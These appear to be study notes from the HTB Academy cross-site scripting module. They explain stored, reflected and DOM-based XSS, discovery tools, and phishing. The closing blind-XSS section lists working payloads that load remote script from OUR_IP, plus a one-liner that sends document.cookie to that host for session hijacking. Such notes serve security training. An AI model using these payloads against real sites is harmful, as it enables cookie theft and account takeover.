HTB Academy - Cross-Site Scripting (XSS)
Types of XSS attacks
- Stored (Persistent) - user input is stored on the back-end database, and displayed for all users.
- Reflected (Non-persistent) - user input not stored, but still displayed on the page after being processed by the back-end server.
- DOM-based - user input is not stored, and not processed by the back-end servers at all; attack vector is through client-side HTTP parameters/anchor tags.
Stored XSS
To know if the payload is persistent, reload the page and see if the payload appears again.
- For example, if the payload consists of an
alert()
, reloading the page will trigger thealert()
again.
Reflected XSS
For reflected XSS, the payload will not appear again once we navigate away from the page.
DOM-based XSS
For DOM XSS, JavaScript is used to modify the page source through the Document Object Model (DOM).
JS Sink Functions used for DOM XSS:
document.write()
DOM.innerHTML
DOM.outerHTML
jQuery
functions for DOM XSS:
add()
after()
append()
XSS Discovery
Automated Discovery
Useful tools: XSS Strike
, Brute XSS
, XSSer
Manual Discovery
Manually inject payloads into input fields to test.
- Note that aside from form fields, HTTP headers can also be vulnerable if their values are displayed on the page.
Alternatively, we can also review front-end and back-end code to look for usage of Source/Sink functions.
Defacing and Phishing
Websites can be defaced if it has a stored XSS vulnerability.
Phishing can be carried out if we can inject HTML elements (like input forms for username
and password
). This is possible irrespective of XSS attack type.
- For non-persistent XSS, we can generate a custom phishing link with our custom payload.
- Credentials can be stolen this way if we have a listener on the phishing page.
Cookie Stealing (blind XSS)
In blind XSS situations, the vulnerabilities are triggered on pages we don’t have access to. This is possible on registration pages, or support pages (generally, pages where the content entered is to be reviewed by an administrator).
To test for blind XSS, we can try to inject a payload that sends a GET
request to our local web server.
- This can be done by setting the JS script source to our local domain:
<script src="http://OUR_IP/script.js"></script>
- The file/directory to
GET
can be modified to the field we are testing. If we receive aGET
request on our web server, we know the field is vulnerable.
Some example blind XSS payloads:
<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script>
"><script src=http://OUR_IP></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>
Once a working payload is found, we can inject another payload to steal the admin’s cookie (session hijacking) - this cookie can be retrieved using the document.cookie
attribute.
- For example:
new Image().src='http://OUR_IP/index.php?c='+document.cookie
- If necessary, the cookie can be encoded (
base64
or URL-encoded).
With this obtained cookie, we can inject it into the HTTP headers to hijack the admin’s session.